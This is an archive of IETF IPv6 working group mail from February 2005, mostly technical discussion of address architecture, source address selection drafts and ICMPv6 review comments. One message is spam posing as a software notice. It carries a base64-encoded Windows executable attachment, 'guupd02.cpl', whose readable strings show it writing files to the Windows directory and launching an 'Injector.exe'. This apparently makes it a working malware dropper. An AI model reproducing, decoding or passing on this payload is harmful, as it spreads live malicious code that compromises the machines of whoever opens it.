IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- From ipv6-bounces@ietf.org Wed Feb 2 19:10:54 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA00035 for ; Wed, 2 Feb 2005 19:10:54 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1CwUsm-0007rR-GD for ipv6-web-archive@ietf.org; Wed, 02 Feb 2005 19:30:04 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1CwUVX-0005ZS-KL; Wed, 02 Feb 2005 19:06:03 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1CwUUf-00059G-3w for ipv6@megatron.ietf.org; Wed, 02 Feb 2005 19:05:15 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA29356 for ; Wed, 2 Feb 2005 19:05:03 -0500 (EST) Received: from mentat.com ([192.88.122.129] helo=roll.mentat.com) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1CwUn6-0007dl-DS for ipv6@ietf.org; Wed, 02 Feb 2005 19:24:13 -0500 Received: from alerion.mentat.com (leo [192.88.122.132]) by roll.mentat.com (8.11.7p1+Sun/8.11.7+Mentat) with ESMTP id j1304EV22798; Wed, 2 Feb 2005 16:04:14 -0800 (PST) Received: from localhost (localhost [127.0.0.1]) by alerion.mentat.com (Postfix) with ESMTP id EC60E3F0021; Wed, 2 Feb 2005 16:04:14 -0800 (PST) Received: from alerion.mentat.com ([127.0.0.1]) by localhost (alerion [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 27558-05; Wed, 2 Feb 2005 16:04:14 -0800 (PST) Received: from feller (feller [192.88.122.144]) by alerion.mentat.com (Postfix) with ESMTP id 4DC993F0020; Wed, 2 Feb 2005 16:04:14 -0800 (PST) From: Tim Hartrick To: Tony Hain In-Reply-To: References: Content-Type: text/plain Organization: Mentat Inc. Message-Id: <1107389004.24390.15.camel@feller> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.2.2 (1.2.2-4) Date: 02 Feb 2005 16:03:24 -0800 Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Scan-Signature: 2409bba43e9c8d580670fda8b695204a Content-Transfer-Encoding: 7bit Cc: "'IPv6 WG'" , "'Bound, Jim'" Subject: RE: IPv6 Address Architecture update question X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: tim@mentat.com List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: b19722fc8d3865b147c75ae2495625f2 Content-Transfer-Encoding: 7bit All, On Wed, 2005-02-02 at 13:32, Tony Hain wrote: > > That separation was a point in time implementation choice that is likely to > change in other versions of the OS. The split stack implementation by itself > does not preclude the right thing from happening through either a shim or > direct binding between the stacks, but by default there is no path. > > None of this or any other individual vendor's implementation choice affects > the value of the idea. The only thing those affect are the implementation > effort required for the app developer. Getting rid of a good idea does not > make the app developer's job any easier; it just ensures that everyone has > to go through the same level of pain. Taking it out is a bad idea. > I agree with Tony completely. The answer for dealing with buggy or expediently designed:-) implementations is not to throw capabilities out of the specifications until the bugs become features. The answer is to fix the the implementations. Tim Hartrick -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- From ipv6-bounces@ietf.org Wed Feb 2 22:03:44 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id WAA14671 for ; Wed, 2 Feb 2005 22:03:44 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1CwXa3-0004Vb-0H for ipv6-web-archive@ietf.org; Wed, 02 Feb 2005 22:22:55 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1CwX7r-0006ZC-CL; Wed, 02 Feb 2005 21:53:47 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1CwX3n-0005bU-TI for ipv6@megatron.ietf.org; Wed, 02 Feb 2005 21:49:35 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA13431 for ; Wed, 2 Feb 2005 21:49:30 -0500 (EST) Received: from mail.nttv6.net ([192.68.245.115]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1CwXMF-000469-Vt for ipv6@ietf.org; Wed, 02 Feb 2005 22:08:41 -0500 Received: from [192.47.163.103] ([192.47.163.103]) by mail.nttv6.net (8.13.1/3.7Wpl2-00020918) with ESMTP id j132oITx036138 for ; Thu, 3 Feb 2005 11:50:18 +0900 (JST) Mime-Version: 1.0 (Apple Message framework v619.2) Content-Transfer-Encoding: 7bit Message-Id: Content-Type: text/plain; charset=US-ASCII; format=flowed To: ipv6@ietf.org From: Arifumi Matsumoto Date: Thu, 3 Feb 2005 11:50:13 +0900 X-Mailer: Apple Mail (2.619.2) X-Spam-Score: 0.0 (/) X-Scan-Signature: e1e48a527f609d1be2bc8d8a70eb76cb Content-Transfer-Encoding: 7bit Subject: Revised Drafts on Source Address Selection Posted X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: c1c65599517f9ac32519d043c37c5336 Content-Transfer-Encoding: 7bit Hi all, [Let me re-send this mail. Yesterday my post was returned because of user-unknown.] We've submitted a set of revised internet drafts about IPv6 source address selection policy distribution. Title : Source Address Selection Policy Distribution for Multihoming Filename : draft-arifumi-ipv6-sas-policy-dist-00.txt This one is changed a bit drastically. A section for problem clarification is included. Also a brief consideration about policy merging, network failure recovery and comparison with other solutionos are added. Title : Configuring Source Address Selection Policy by Neighbor Discovery Protocol for IPv6 Filename : draft-arifumi-ipv6-nd-source-address-select-02.txt This isn't changed so much, but small changes about option format are included. Title : Source Address Selection Policy option for DHCPv6 Filename : draft-hirotaka-dhc-source-address-selection-opt-01.txt This one also isn't changed so much. In this version, DHCP is also modified to use prefix information compression technique used in RA draft. We appreciate any suggestions or comments. Best regards, -- Arifumi Matsumoto Ubiquitous Computing Project NTT Information Sharing Platform Laboratories E-mail: arifumi@nttv6.net -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- From ipv6-bounces@ietf.org Thu Feb 3 01:12:38 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA02092 for ; Thu, 3 Feb 2005 01:12:37 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1CwaWn-0001k1-W1 for ipv6-web-archive@ietf.org; Thu, 03 Feb 2005 01:31:46 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1Cwa80-0003ZZ-2W; Thu, 03 Feb 2005 01:06:08 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1CwYpv-00020B-4S for ipv6@megatron.ietf.org; Wed, 02 Feb 2005 23:43:25 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id XAA24038 for ; Wed, 2 Feb 2005 23:43:18 -0500 (EST) Received: from web51002.mail.yahoo.com ([206.190.38.133]) by ietf-mx.ietf.org with smtp (Exim 4.33) id 1CwZ8F-0007ZC-Ta for ipv6@ietf.org; Thu, 03 Feb 2005 00:02:30 -0500 Received: (qmail 73413 invoked by uid 60001); 3 Feb 2005 04:42:38 -0000 Comment: DomainKeys? See http://antispam.yahoo.com/domainkeys DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=s1024; d=yahoo.com; b=WUXRcgpPANt9N0O1ErZR3cQ6nOy2D6ev1DRkYVwAZMs0+derpPlbBey8wzJTfJ5aFEwCBq/MbfFoQfUx6JqOZTkvXlt6UTljbf/Qis10zpxu9HhxNEqVH/q6ShHNA7h5okizIr5lCKmCk1BfSEYEepwLv3fbePFp3otfaO6orA4= ; Message-ID: <20050203044238.73411.qmail@web51002.mail.yahoo.com> Received: from [61.246.240.202] by web51002.mail.yahoo.com via HTTP; Wed, 02 Feb 2005 20:42:37 PST Date: Wed, 2 Feb 2005 20:42:37 -0800 (PST) From: Mukesh Gupta To: elwynd@dial.pipex.com In-Reply-To: <18553108.20050202145557@psg.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 3.8 (+++) X-Scan-Signature: fcb459c204557d9509ce9c1b55d771f1 X-Mailman-Approved-At: Thu, 03 Feb 2005 01:05:29 -0500 Cc: ipv6@ietf.org Subject: GEN-ART comments about ICMPv6 spec X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 3.8 (+++) X-Scan-Signature: 5ba9b8496764663b12c333825fbf6b3d Hi Elwyn, I am trying to address your comments in the IESG review of the ICMPv6 draft. Please see my comments inline. Please note that I am on vacation in india for a month. So I might not be able to respond to your replies for a while :) Sorry if the message is not very well formatted. ========= Your comment =============== Section 2: A particular issue is the proliferation of sub-protocols of ICMPv6: There are statements about ICMPv6 being 'fully implemented' - the exact meaning of this statement is unclear in the face of the existence of the sub-protocols which use ICMPv6 message structure. Does 'fully implemented' (Section 2, para 1) mean just the stuff in this draft or all the sub-protocols - some of the sub-protocols are not necessarily mandatory (at least parts of Mobile IPv6, SEND). =========== My response =============== I think, this spec should require the implementation of just the messages/behaviors specified in this draft. Requirements for other sub-protocols should be specified in the respective specs. What about replacing the following text ---------- ICMPv6 is an integral part of IPv6 and MUST be fully implemented by every IPv6 node. ---------- with ---------- ICMPv6 is an integral part of IPv6 and the base protocol (all the messages and behavior required by this specification) MUST be fully implemented by every IPv6 node. ---------- ========= Your comment =============== Section 2.1: The definition of the error message packet format does not explain the relationship between inclusion of the start of the offending packet and allowing the packet originator to notify the packet sender. This means that the terms 'upper-layer protocol' and 'upper-layer process' appear without explanation later in the document. I suggest a paragraph something like: Inclusion of, at least, the start of the invoking packet is intended to allow the originator of a packet that has resulted in an ICMPv6 error message to identify the upper-layer protocol and process that sent the packet. at the end of Section 2.1 would help. =========== My response =============== I don't see any problem with adding the suggested paragraph if it makes things clear. Does anyone else have any issues with the suggested addition? ========= Your comment =============== Section 2.2(b): The term 'anycast group' is not used elsewhere in the mainstream IPv6 RFCs. All the referenced documents refer to 'anycast addresses'. The term is used in the title of the magma WG but actually is not used in any of their documents either! Hence: s/sent to a multicast or anycast group in which the node is a member/sent to a multicast group of which the node is a member or an anycast address that is implemented by the node/. =========== My response ============== I don't see a problem with this change and if no one else has any issue, I will update this in next rev. ========= Your comment =============== Section 2.2: I have noted previously (in connection with Neighbor Discovery) that the source address selection rules can lead to situations in which the scopes of the source and destination addresses are (legitimately) mismatched. It should be noted here that such packets MUST not be dropped by the packet transmission mechanisms in the node. Suggest adding the following to the end of the section: Under some circumstances the scope of the chosen source address may not match the scope of the destination address. ICMPv6 messages MUST NOT be dropped in the node that generates the ICMPv6 packet on account of such a mismatch. However, there are also circumstances under which this mismatch can occur and is unhelpful. For example, if an interface on a router only has a link local address, rule 2.2(b) may result in an ICMPv6 response to a problem with a site or global scope multicast destination address being sent with a link-local scope source address. In the Neighbor Discovery cases, this is not a problem because all messages are link local anyway, but in other cases the ICMPv6 message may have to traverse some routers on its way back to the originator of the offending message: it is inconvenient to have to make special cases for scope checking here, and the message is much less helpful when it arrives back at the originator. The problem could be considered to be a misalignment between rules 2.2(b) and 2.2(c): some thought needs to be put into what is the best solution, but the scope of the ICMPv6 destination address and the nature of the sub- protocol need to be taken into account - 2.2(c) could be allowed to override 2.2(b) if the result was unhelpful in the way described, and a global unicast address belonging to the node could be used in place of the link local if the packet is expected to traverse other routers. Sections 2.2(c) and 2.2(d): There has been further discussion on the mailing list, since I reviewed this document for IETF LC, of whether 2.2(c) is ever implemented, and suggesting that it could be deleted. I would suggest that this is not a good idea, but that 2.2(d) does need improving to avoid a link local address being used inappropriately as discussed regarding 2.2(b). Section 4.2, para 3 of Description: The potential issue with link-local source addresses is reiterated here and needs to be cleaned up if 2.2 is altered. =========== My response ============== I will try to handle the above comments in a separate mail later as this needs a little thought :) ========= Your comment =============== Section 2.4(a): Three points: 1. It is worth clarifying that this applies only at the destination. 2. The term upper layer needs expansion: as the draft stands, this is first mention of 'upper layer' {See above comment on Section 2). 3. The caveat of 2.4(d) applies. Suggest rewording 2.4(a) as follows: (a) If an ICMPv6 error message of unknown type is received at its destination, it MUST be passed to the upper-layer process that originated the packet that caused the error, where this can be identified (see Section 2.4(d)). =========== My response ============== The ICMP protocol has been there for a long long time and at least the implementors clearly understand what we mean by that statement. Though I don't think this clarification is really needed, I wouldn't mind making this change. ========= Your comment =============== Section 2.1: This section contains three distinct topics: 1. Grouping of ICMPv6 messages (error messages and informational messages) and list of messages defined in this document. 2. General ICMPv6 packet format (starting at 'Every ICMPv6 message...') 3. Specialisation of general packet format for error message group (starting at 'The subclass of ICMPv6...'). I have previously commented that this section should be split up but the authors have resisted (on plausible grounds, partly related to the venerable age of the document). However, the current arrangement is not helpful to a naive reader: The first topic contains a forward reference to the 'Type' field which is not defined until the second topic. I think this problem could be solved(without section renumbering as I previously suggested) by reordering the topics in the order (2,1,3). =========== My response ============== Again, IMHO, this change is unnecessary at this point but changing the order of these statements doesn't really hurt too much. So I will reorganize the text in the next rev. ========= Your comment =============== Section 2.1, last para: The draft now lists more message types than are actually defined in the document (some were added after this para was drafted I think): Suggest rewording as: The following sections describe the message formats for the ICMPv6 error message types 1 through 4 and informational message types 128 and 129 listed in Section 4.1. =========== My response ============== Good point. I will update the text in next rev. ========= Your comment =============== Sections 3 and 4: Section 3.3 contains the following (last para): The rules for selecting the Source Address of this message are defined in section 2.2. The other sub-sections of Sections 3 and 4 don't mention source address selection. Suggest either this comment be moved to the beginning of Section 3 and added to Section 4 with 'this message' replaced by 'these messages'. Alternatively, a note on source selection can be added in the 'IPv6 Fields' part of each sub-section. =========== My response ============== As we have already talked about the source address selection in section 2.2 and it applies to all the messages, I don't think we need to repeat in with all the messages again. So I will remove that statement from 3.3. ========= Your comment =============== Section 4.1: Data field specification: Is it desirable to explicitly note that there is no limit on the amount of data? Much of the rest of the document limits ICMPv6 messages to the guaranteed minimum MTU, but these messages are intentionally allowed to be larger. Presumably even needing jumbo packet support. =========== My response ============== The spec limits the size of the ICMP "error" messages that are generated in response to some non-ICMP packet because of some error condition. The spec does not limit the size of the "informational" ICMP messages that are either generated by the node directly or in response to those ICMP messages. So we explicitely say when we need to limit the size and we don't say anything when there is no limit. Do you really think we need to explicitely mention that there is no size limit for these messages? I agree with all the other editorial nits and I will update them in the next rev. Regards Mukesh __________________________________ Do you Yahoo!? Read only the mail you want - Yahoo! Mail SpamGuard. http://promotions.yahoo.com/new_mail -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- From ipv6-bounces@ietf.org Thu Feb 3 05:41:14 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id FAA08551 for ; Thu, 3 Feb 2005 05:41:14 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1Cweip-00012k-95 for ipv6-web-archive@ietf.org; Thu, 03 Feb 2005 06:00:27 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1CweIk-0004EJ-FE; Thu, 03 Feb 2005 05:33:30 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1CweDV-0002rj-D4 for ipv6@megatron.ietf.org; Thu, 03 Feb 2005 05:28:07 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id FAA07480 for ; Thu, 3 Feb 2005 05:28:02 -0500 (EST) Received: from laposte.rennes.enst-bretagne.fr ([192.44.77.17]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1CweW2-0000do-2y for ipv6@ietf.org; Thu, 03 Feb 2005 05:47:15 -0500 Received: from givry.rennes.enst-bretagne.fr (givry.rennes.enst-bretagne.fr [193.52.74.194]) by laposte.rennes.enst-bretagne.fr (8.11.6p2/8.11.6/2003.04.01) with ESMTP id j13ARNG31140; Thu, 3 Feb 2005 11:27:23 +0100 Received: from givry.rennes.enst-bretagne.fr (localhost.rennes.enst-bretagne.fr [127.0.0.1]) by givry.rennes.enst-bretagne.fr (8.12.3/8.12.3) with ESMTP id j13ARISj097099; Thu, 3 Feb 2005 11:27:23 +0100 (CET) (envelope-from dupont@givry.rennes.enst-bretagne.fr) Message-Id: <200502031027.j13ARISj097099@givry.rennes.enst-bretagne.fr> From: Francis Dupont To: Jeroen Massar In-reply-to: Your message of Wed, 02 Feb 2005 17:53:24 +0100. <1107363204.8103.203.camel@firenze.zurich.ibm.com> Date: Thu, 03 Feb 2005 11:27:18 +0100 X-Virus-Scanned: by amavisd-milter (http://amavis.org/) at enst-bretagne.fr X-Spam-Score: 0.0 (/) X-Scan-Signature: e5ba305d0e64821bf3d8bc5d3bb07228 Cc: ipv6@ietf.org Subject: Re: IPv6 Address Architecture update question X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: 39bd8f8cbb76cae18b7e23f7cf6b2b9f In your previous mail you wrote: On Wed, 2005-02-02 at 17:24 +0100, Francis Dupont wrote: > So IMHO the only useful answer we can get from this discussion is about > this day, i.e., are there used implementations today which don't support > the "two sockets for a server with IPV6_V6ONLY set when it exists" > (i.e., #@$* but universal) coding style? The problem here is that there are a number of older implementations that don't support the flag => this does not matter because of conditional compilation. and there is no way of turning the v4-mapped support off unless you downgrade. => there is no need of turning the v4-mapped support off if the second/to-0.0.0.0 bind() can fail safely. Then again, upgrading is nowadays quite a normal cycle... => I know but this does not help to get an answer to my question. Regards Francis.Dupont@enst-bretagne.fr PS: BTW IMHO the Symbian API implements an abstract "IPv6 is a new version of the Internet protocol". I have only a little concern because it implements too "the network protocol is the Internet protocol" (:-)! -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- From ipv6-bounces@ietf.org Thu Feb 3 10:09:09 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA00219 for ; Thu, 3 Feb 2005 10:09:08 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1Cwiu7-0000Yt-Bp for ipv6-web-archive@ietf.org; Thu, 03 Feb 2005 10:28:23 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1CwiYh-0004mr-Fa; Thu, 03 Feb 2005 10:06:15 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1CwiVu-0002ZL-6R for ipv6@megatron.ietf.org; Thu, 03 Feb 2005 10:03:26 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA29472 for ; Thu, 3 Feb 2005 10:03:20 -0500 (EST) Received: from 200-138-058-013.toobm202.dial.brasiltelecom.net.br ([200.138.58.13] helo=marfim-pfvqe5p9.org) by ietf-mx.ietf.org with smtp (Exim 4.33) id 1Cwio0-0000Ks-El for ipv6@ietf.org; Thu, 03 Feb 2005 10:22:34 -0500 Date: Thu, 03 Feb 2005 13:02:45 -0300 To: "Ipv" From: "Margaret" Message-ID: MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="--------jomdwdxaguhligpktpwn" X-Spam-Score: 3.3 (+++) X-Scan-Signature: dc7bd83d90806aed39f33478866e2683 Subject: Is delivered mail X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 2.7 (++) X-Scan-Signature: 210770d71723b650f9c8e3db4e95b596 ----------jomdwdxaguhligpktpwn Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: 7bit Thanks for use of our software.
----------jomdwdxaguhligpktpwn Content-Type: application/octet-stream; name="guupd02.cpl" Content-Disposition: attachment; filename="guupd02.cpl" Content-Transfer-Encoding: base64 TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4g RE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDAO8AgkEAAAAAAAAAAOAADiELAQUMAAwAAAAC AAAAAAAAMBUAAAAQAAAAIAAAAAAAEAAQAAAAAgAABAAAAAAAAAAEAAAAAAAAAJ+MAAAAAgAA AAAAAAIAAAAAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAADAUAAA8AAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAACAAACwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAACMFAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC50 ZXh0AAAAEAoAAAAQAAAACAAAAAIAAAAAAAAAAAAAAAAAACAAAOAucmVsb2MAACoAAAAAIAAA AAIAAAAKAAAAAAAAAAAAAAAAAABAAABCAAAAAAAAAACfXAAAADAAAJ9cAAAADAAAAAAAAAAA AAAAAAAAIAAA4AAAAAAAAAAAAAAAAAAAAABvcGVuAGZkZmRmZGdqa3RqeWZqZ3ZkaHR5dXJm ZmhneXR1a2doY2dkaHlyaXV0eWxoa2poZmp5cnVrZ2p2anV0bGhraGZ1a2dqaGZmeXV0aW95 amdoamh5dXRnamtoZnVrdGl5bGhqZ2ZkZmRmZGdoZ2hqeXVydXRpZ2toZmpndHVpdGtnaGp5 dXRpdmpma2hnaGR5amdoZ2ZqaGtna2poZ2prZnRqcmZqaGdmamhuYmhmZHJ2YmZudmRmZ2Jm dmZiaG1iZ25idmdoZ2Z2aGdkamdmZGZkZmRnaGdoamZrdXV0amJ5cnlyeXZ3YmF2c3Rlc2h2 c3Ryc3RyaHZydHdzdGh2ZHNocnZzaHJ0cmhzaHJkaGZkZ2ZqZ2ZkZmRmZGdoZ2hqZmdoam1m a3V0Ynl0eXV0YnV5dXlydHJ0cnl0cnl0eXZlcnRydHRnZnJ0cnR5cnl0amdmZGZkZmRnamdm aGpoamdra2pramtoamhramhmanlydWtnanZqdXRsaGtoZnVrZ2poZmZ5dXRpb3lqZ2hqaHl1 dGdqa2hmdWt0aXlsaGpnZmRmZGZkZ2hnaGp5dXJ1dGhqa2poa2hqa2xveXR5dXZqZmtoZ2hk eWpnaGdmamhrZ2tqaGdqa2Z0anJmamhnZmpobmJoZmRydmJmbnZkZmdiZnZmYmhtYmduYnZn aGdmdmhnZGpnZmRmZGZkZ2hnaGpma3V1dGpieXl1ABAAAAwAAAC1NQAAZmV0ZXJ5dGV5Zmdl eXV0cnVpanN0cmh2cnR3c3RodmRzaHJ2c2hydHJoc2hyZGhmZGdmamdcY2plY3Rvci5leGUA ZmRmZGZkZ2hnZ2ZnZmpmamdqa2draGtqaGxraGxramxraGtoa2xqaGxramhsa2poamdmZGZk ZmZoZ2ZqaGZoZ2Zoamtna2toZ2RzaGZqZ2tobGprZmhobWZjZ2ZoZ2hqa2psZmhnamtqZ2Zz ZGdoampoamd5dGt1Z2poZnlqZ2ZqaGZocmZqaHlmdHJ0aHJmdGhnZmh0aGhqa2tqa2pnaGt1 am91aWxoamtqaHlrdWhrZmh0ZGZodHJqZ2poeXJmaHRydGp5cnRydGhydHllaHRlZXJlZGdm ZGhmZGhnZGh0ZGhzZWdyZHJlZGhmeWpydGhqZ2ZkZmRzeXRyeXJ0aGZnYmZnaGdna2hsamtm aGhtZmNnZmhnaGpramxmaGdqa2pnZnNkZ2hqamhmZ2Znamp1dHlpeXVpaWl5dGt1Z2poZnlq Z2ZqaGZocmZqaHlmdHJ0aHJmdGhnZmh0aGhqa2tqa2pnaGt1aXV5ZGZ1anR5a2dqZHN3ZXR0 ZWhmZ2hqZ2h1Z3lqZmdoZmdodHJ0anlydHJ0aHJ0eWVodGVlcmVkZ2ZkaGZkaGdkaHRkaHNl Z3JkcmVkaGZ5anJ0aGpnAAAAbBQAAAAAAAAAAAAABBUAAIwUAACEFAAAAAAAAAAAAAAiFQAA pBQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAuBQAAMYUAADUFAAA7BQAAPgUAAAAAAAAEhUAAAAA AAC4FAAAxhQAANQUAADsFAAA+BQAAAAAAAASFQAAAAAAAHVzZXIzMi5kbGwAABoAQ2xvc2VI YW5kbGUAMABDcmVhdGVGaWxlQQBiAUdldFdpbmRvd3NEaXJlY3RvcnlBAACeAldyaXRlRmls ZQC1AmxzdHJjYXRBAABrZXJuZWwzMi5kbGwAAGcAU2hlbGxFeGVjdXRlQQBzaGVsbDMyLmRs bAAAAFWL7IN9DAF1SGgABAAAaBAWABDoogAAADPCaGESABBoEBYAEOidAAAAQWgQFgAQ6CYA AAALwHQZ99BqAGoAagBoEBYAEGgAEAAQagDoewAAALgBAAAAycIMAFWL7IPE+FNWM9tqAGoA agJqAGoDaAAAAMD/dQjoOQAAAJCJRfhAdCMzwr4AMAAQrZJqAI1F/FBSVv91+OglAAAASP91 +OgKAAAAQ4vDXlvJwgQAzP8ljBQAEP8lkBQAEP8llBQAEP8lmBQAEP8lnBQAEP8lpBQAEAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAgAAAAPzVLNVA1WzVxNXY14DXmNew18jX4Nf41 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 